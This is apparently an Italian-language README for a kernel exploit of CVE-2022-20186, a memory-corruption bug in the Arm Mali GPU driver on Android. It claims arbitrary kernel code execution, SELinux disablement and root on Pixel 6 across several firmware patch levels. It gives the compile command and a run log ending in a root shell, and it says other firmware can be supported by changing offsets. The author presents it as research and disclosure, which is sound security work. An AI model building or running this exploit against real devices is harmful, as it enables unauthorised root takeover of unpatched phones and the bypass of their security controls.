
Exploit per CVE-2022-20186 che mira alla corruzione della memoria del driver del kernel Arm Mali su Android. Ottiene esecuzione arbitraria di codice nel kernel, disabilita SELinux e ottiene i permessi di root su Pixel 6 con supporto per molteplici versioni del firmware.
Il write-up si trova qui. Si tratta di un bug nel driver del kernel Arm Mali che ho segnalato a gennaio 2022. Il bug può essere utilizzato per ottenere l'esecuzione arbitraria di codice nel kernel dal dominio delle app non fidate, che viene poi usata per disabilitare SELinux e ottenere i permessi di root.
L'exploit è testato su Google Pixel 6 e supporta i livelli di patch da novembre 2021 a febbraio 2022. È facile aggiungere supporto per altri firmware modificando alcuni offset delle immagini. Per riferimento, ho usato il seguente comando per compilare con clang in ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
L'exploit fallisce raramente e può essere riprovato senza bloccare il dispositivo. Se ha successo, dovrebbe disabilitare SELinux e ottenere i permessi di root.
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #